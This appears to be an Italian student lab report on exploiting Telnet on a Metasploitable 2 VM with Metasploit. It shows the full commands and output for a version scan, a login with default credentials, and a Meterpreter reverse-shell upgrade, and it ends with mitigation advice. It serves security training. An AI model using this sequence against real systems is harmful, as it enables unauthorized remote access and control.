

# Exploit Telnet con Metasploit

**Data:** 20/01/2026

**Autore:** Francesco Sardi

**Oggetto:** Analisi, Exploitation e Post-Exploitation del servizio Telnet su target Metasploitable 2

## 1. Obiettivi

Il presente report si pone i seguenti obiettivi tecnici:

- Analizzare il servizio Telnet attivo sulla macchina target (Metasploitable 2) utilizzando il modulo di scansione dedicato.
- Ottenere l'accesso non autorizzato sfruttando le credenziali di default tramite il modulo di login.
- Elevare la semplice shell di comando ottenuta a una sessione **Meterpreter** per abilitare funzionalità avanzate di post-exploitation.

## 2. Executive Summary

In questo report viene documentata l'attività di penetration testing condotta verso una macchina vulnerabile. L'attività si concentra sullo sfruttamento del protocollo Telnet, noto per la sua insicurezza intrinseca (trasmissione dati in chiaro).

Utilizzando la **Msfconsole**, sono stati impiegati specifici moduli ausiliari (*auxiliary*) e di post-exploitation per:

1. **Reconnaissance:** Identificare la versione del servizio Telnet.
2. **Exploitation:** Ottenere l'accesso remoto tramite autenticazione con credenziali note.
3. **Post-Exploitation:** Stabilizzare e migliorare la sessione trasformando la shell di sistema in una sessione Meterpreter, garantendo un controllo granulare sulla macchina vittima.

## 3. Fase 1: Information Gathering

La prima fase consiste nell'identificare precisamente la versione del servizio Telnet in esecuzione sulla porta 23 del target. A tale scopo viene utilizzato il modulo scanner “*auxiliary/scanner/telnet/telnet\_version*”.

## Configurazione del Modulo

Dopo aver selezionato il modulo, è stato configurato il parametro RHOSTS con l'indirizzo IP della macchina vittima.

### Comandi eseguiti:

*“use auxiliary/scanner/telnet/telnet\_version”*

*“show options”*

“set RHOSTS”

```
msf auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.50.101	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

## Esecuzione

Una volta impostati i parametri, il modulo è stato lanciato. L'output conferma la presenza del servizio e ne restituisce il banner.

**Comando:**

*“run”*

[illegible]

#### 4. Fase 2: Exploitation (Telnet Login)

Identificato il servizio, si procede con il tentativo di accesso. In questo scenario, essendo a conoscenza delle debolezze della macchina Metasploitable, viene utilizzato il modulo *“auxiliary/scanner/telnet/telnet\_login”* per effettuare l'autenticazione utilizzando le credenziali di default.

## Configurazione del Modulo

Il modulo richiede la definizione del target (*RHOSTS*) e delle credenziali (*USERNAME* e *PASSWORD*). È stata inoltre impostata l'opzione *STOP\_ON\_SUCCESS* su true per interrompere il tentativo di login non appena viene trovata una combinazione valida.

### Comandi eseguiti:

“ use auxiliary/scanner/telnet/telnet\_login “

“ show options ”

“ set RHOSTS ”

“ set PASSWORD “

“ set USERNAME “

“ set STOP\_ON\_SUCCESS true “

```
msf auxiliary(scanner/telnet/telnet_login) > show options
```

Module options (auxiliary/scanner/telnet/telnet\_login):

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
CreateSession	true	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user6realm)
PASSWORD	msfadmin	no	A specific password to authenticate with
PASS_FILE	no	no	File containing passwords, one per line
RHOSTS	192.168.50.101	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	true	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	msfadmin	no	A specific username to authenticate as
USERPASS_FILE	no	no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE	no	no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

## Esecuzione

L'esecuzione del modulo ha dato esito positivo, garantendo l'accesso al sistema e l'apertura di una sessione attiva.

### Comando:

“ run “

```
msf auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.50.101:23 - No active DB -- Credential data will not be saved!
[+] 192.168.50.101:23 - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23 - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 2 opened (192.168.50.152:40437 → 192.168.50.101:23) at 2026-01-20 14:31:44 +0100
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > █
```

## 5. Fase 3: Post-Exploitation (Session Upgrade)

Dopo aver ottenuto una shell di comando tramite Telnet, si è deciso di mettere la sessione in background per effettuare un upgrade a **Meterpreter**. Meterpreter è un payload avanzato che opera interamente in memoria e offre strumenti superiori rispetto a una shell standard (es. upload/download file, keylogging, port forwarding).

### Configurazione del Modulo

Viene utilizzato il modulo *post/multi/manage/shell\_to\_meterpreter*. Questo richiede di specificare l'ID della sessione precedentemente ottenuta (visibile tramite il comando `sessions -l`).

#### Comandi eseguiti:

“ use *post/multi/manage/shell\_to\_meterpreter* “  
“ set *SESSION* “

```
Module options (post/multi/manage/shell_to_meterpreter):
```

Name	Current Setting	Required	Description
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION	2	yes	The session to run this module on

### Esecuzione

Il modulo si connette alla sessione specificata e inietta il payload Meterpreter, aprendo una nuova sessione potenziata.

#### Comando:

“ run “

```
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.152:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.50.152:4433 → 192.168.50.101:50511) at 2026-01-20 14:37:42 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > █
```

## 6. Verifica dell'Accesso (System Info)

A seguito dell'upgrade della sessione, è necessario verificare il corretto funzionamento del payload Meterpreter interagendo con la macchina target. Si interagisce con la nuova sessione creata e si richiede un riepilogo delle informazioni di sistema per confermare il livello di accesso.

### Comandi eseguiti:

`"sessions -i 2"`

`"sysinfo"`

**Analisi dell'output:** Il comando `sysinfo` restituisce correttamente il nome del computer, il sistema operativo (Linux) e l'architettura, confermando che il controllo remoto è stabile e pienamente operativo.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > █
```

## 7. Conclusioni

L'attività ha dimostrato come la presenza di servizi non sicuri (Telnet) combinata all'utilizzo di credenziali predefinite esponga il sistema a compromissione totale.

Attraverso l'uso sequenziale di tre moduli Metasploit, è stato possibile:

1. **Rilevare** la presenza e la versione del servizio.
2. **Accedere** al sistema tramite credenziali deboli.
3. **Elevare** il controllo ottenendo una sessione Meterpreter e verificando i dati della macchina vittima.

Si raccomanda, come misura di mitigazione prioritaria, la **disattivazione del servizio Telnet** in favore del protocollo crittografato SSH (Secure Shell) e l'imposizione di policy rigorose per la modifica delle password di default.

